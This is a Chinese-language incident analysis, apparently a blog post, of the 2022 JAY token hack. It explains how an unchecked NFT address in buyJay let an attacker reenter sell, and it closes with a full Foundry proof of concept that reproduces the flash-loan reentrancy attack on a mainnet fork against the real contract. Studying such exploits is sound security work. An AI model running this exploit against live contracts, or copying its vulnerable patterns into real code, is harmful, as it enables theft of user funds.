20221229-JAY-Insufficientvalidation+Reentrancyhttps://phalcon.blocksec.com/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8
https://twitter.com/blocksecteam/status/1608372475225866240 https://twitter.com/certikalert/status/1608338952896876551
攻击交易:
0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6
攻击合约:
0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340
被攻击合约:
0xf2919d1d80aff2940274014bef534f7791906ff2
在buyJay
函数中,没有对参数erc721TokenAddress
限制,导致可以是任意地址。
将攻击合约地址写入erc721TokenAddress
,这样就能调用transferFrom
函数,这里因为地址是攻击合约地址,则可以在攻击合约中,重新定义一个transferFrom
函数。这样就能够在buyJay
函数中,添加未知的操作。
function buyJay(
address[] calldata erc721TokenAddress,
uint256[] calldata erc721Ids,
address[] calldata erc1155TokenAddress,
uint256[] calldata erc1155Ids,
uint256[] calldata erc1155Amounts
) public payable {
...
buyJayWithERC721(erc721TokenAddress, erc721Ids);
}
function buyJayWithERC721(
address[] calldata _tokenAddress,
uint256[] calldata ids
) internal {
for (uint256 id = 0; id < ids.length; id++) {
IERC721(_tokenAddress[id]).transferFrom(
msg.sender,
address(this),
ids[id]
);
}
}
攻击合约定义的transferFrom
函数
这里调用了sell
函数,将合约中拥有的Jay
卖掉
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
// 卖出当前合约拥有的JAY
JAY.sell(JAY.balanceOf(address(this))); // reenter call JAY.sell
}
sell
函数:
JAYtoETH
这是计算JAY
换成eth
的函数
function sell(uint256 value) public {
// 卖出的数量需要大于最小值1000
require(value > MIN, "Dude tf");
// 获得JAY能换成的eth数量
uint256 eth = JAYtoETH(value);
// 将msg.sender拥有的Jay销毁
_burn(msg.sender, value);
// 将90% eth转给msg.sender
(bool success,) = msg.sender.call{value : eth.mul(90).div(100)}("");
require(success, "ETH Transfer failed.");
// 将10% eth / 33转给owner
(bool success2,) = dev.call{value : eth.div(33)}("");
require(success2, "ETH Transfer failed.");
emit Price(block.timestamp, JAYtoETH(1 * 10 ** 18));
}
JAYtoETH
:
function JAYtoETH(uint256 value) public view returns (uint256) {
return (value * address(this).balance).div(totalSupply());
}
目前的程序执行就是这样的:
在执行return (value * address(this).balance).div(totalSupply());
这里时,还没有运行_mint(msg.sender, ETHtoJAY(msg.value).mul(97).div(100));
也就是_totalsupply
还没有变多,那么这里算出来的eth
就会变多,达到了攻击的目的。
function buyJay(
address[] calldata erc721TokenAddress,
uint256[] calldata erc721Ids,
address[] calldata erc1155TokenAddress,
uint256[] calldata erc1155Ids,
uint256[] calldata erc1155Amounts
) public payable {
// 需要start = true
require(start, "Not started!");
uint256 total = erc721TokenAddress.length;
// 用ERC721购买Jay
if (total != 0) buyJayWithERC721(erc721TokenAddress, erc721Ids);
function buyJayWithERC721(
address[] calldata _tokenAddress,
uint256[] calldata ids
) internal {
for (uint256 id = 0; id < ids.length; id++) {
IERC721(_tokenAddress[id]).transferFrom(
msg.sender,
address(this),
ids[id]
);
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
// 卖出当前合约拥有的JAY
JAY.sell(JAY.balanceOf(address(this))); // reenter call JAY.sell
function sell(uint256 value) public {
// 卖出的数量需要大于最小值1000
require(value > MIN, "Dude tf");
// 获得JAY能换成的eth数量
uint256 eth = JAYtoETH(value);
function JAYtoETH(uint256 value) public view returns (uint256) {
return (value * address(this).balance).div(totalSupply());
}
// 将msg.sender拥有的Jay销毁
_burn(msg.sender, value);
// 将90% eth转给msg.sender
(bool success,) = msg.sender.call{value : eth.mul(90).div(100)}("");
require(success, "ETH Transfer failed.");
// 将10% eth / 33转给owner
(bool success2,) = dev.call{value : eth.div(33)}("");
require(success2, "ETH Transfer failed.");
emit Price(block.timestamp, JAYtoETH(1 * 10 ** 18));
}
}
}
}
// 用ERC1155购买Jay
if (erc1155TokenAddress.length != 0)
total = total.add(
buyJayWithERC1155(
erc1155TokenAddress,
erc1155Ids,
erc1155Amounts
)
);
// 如果个数大于等于100,则转入的钱需要大于等于 total * 0.001 * 10^18 / 2
if (total >= 100)
require(
msg.value >= (total).mul(sellNftFeeEth).div(2),
"You need to pay ETH more"
);
else
// 小于100,则转入的钱需要大于等于 total * 0.001 * 10^18
require(
msg.value >= (total).mul(sellNftFeeEth),
"You need to pay ETH more"
);
// msg.sender 获得 97% ETH等价的JAY
_mint(msg.sender, ETHtoJAY(msg.value).mul(97).div(100));
// 转给owner 转入ETH / 34
(bool success,) = dev.call{value : msg.value.div(34)}("");
require(success, "ETH Transfer failed.");
nftsSold += total;
emit Price(block.timestamp, JAYtoETH(1 * 10 ** 18));
}
没有对输入的地址进行判断
关键sell
函数没有防止重入
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/BlockSecTeam/status/1608372475225866240
// @TX
// https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6
interface IJay {
function buyJay(
address[] memory erc721TokenAddress,
uint256[] memory erc721Ids,
address[] memory erc1155TokenAddress,
uint256[] memory erc1155Ids,
uint256[] memory erc1155Amounts
) external payable;
function sell(uint256 value) external;
function balanceOf(address account) external view returns (uint256);
}
contract ContractTest is DSTest{
// JAY地址
IJay JAY = IJay(0xf2919D1D80Aff2940274014bef534f7791906FF2);
// BalancerVault地址
IBalancerVault Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
// weth地址
WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 16288199); // Fork mainnet at block 16288199
}
function testExploit() public {
payable(address(0)).transfer(address(this).balance);
emit log_named_decimal_uint(
"[Start] ETH balance before exploitation:",
address(this).balance,
18
);
// Setup up flashloan paramaters.
// 设置闪电贷的参数,tokens = weth,amounts = 72.5 ether
address[] memory tokens = new address[](1);
tokens[0] = address(weth);
uint256[] memory amounts = new uint256[](1);
amounts[0] = 72.5 ether;
bytes memory b = "0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000";
// Execute the flashloan. It will return in receiveFlashLoan()
// 执行flashloan,将钱转入到当前合约地址
Vault.flashLoan(address(this), tokens, amounts, b);
}
// 闪电贷的回调函数
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
require(msg.sender == address(Vault));
// Transfer WETH to ETH and start the attack.
// weth提现
weth.withdraw(amounts[0]);
// 花22eth买Jay
JAY.buyJay{value: 22 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0));
// 将erc721TokenAddress地址设置成本合约地址
address[] memory erc721TokenAddress = new address[](1);
erc721TokenAddress[0] = address(this);
// 将erc721Ids设置成0
uint256[] memory erc721Ids = new uint256[](1);
erc721Ids[0]= 0;
// 花50.5eth购买Jay
JAY.buyJay{value: 50.5 ether}(erc721TokenAddress, erc721Ids,new address[](0),new uint256[](0),new uint256[](0));
// 将当前合约拥有的JAY卖出
// 攻击成功,将JAY卖出换成eth
JAY.sell(JAY.balanceOf(address(this)));
// 重复此过程
// 花3.5eth购买Jay
JAY.buyJay{value: 3.5 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0));
// 花8eth购买Jay
JAY.buyJay{value: 8 ether}(erc721TokenAddress,erc721Ids,new address[](0),new uint256[](0),new uint256[](0));
// 将当前合约拥有的JAY卖出
JAY.sell(JAY.balanceOf(address(this)));
// Repay the flashloan by depositing ETH for WETH and transferring.
// 将ETH变成WETH
address(weth).call{value: 72.5 ether}("deposit");
// 还钱
weth.transfer(address(Vault), 72.5 ether);
emit log_named_decimal_uint(
"[End] ETH balance after exploitation:",
address(this).balance,
18
);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
// 卖出当前合约拥有的JAY
JAY.sell(JAY.balanceOf(address(this))); // reenter call JAY.sell
}
receive() external payable {}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!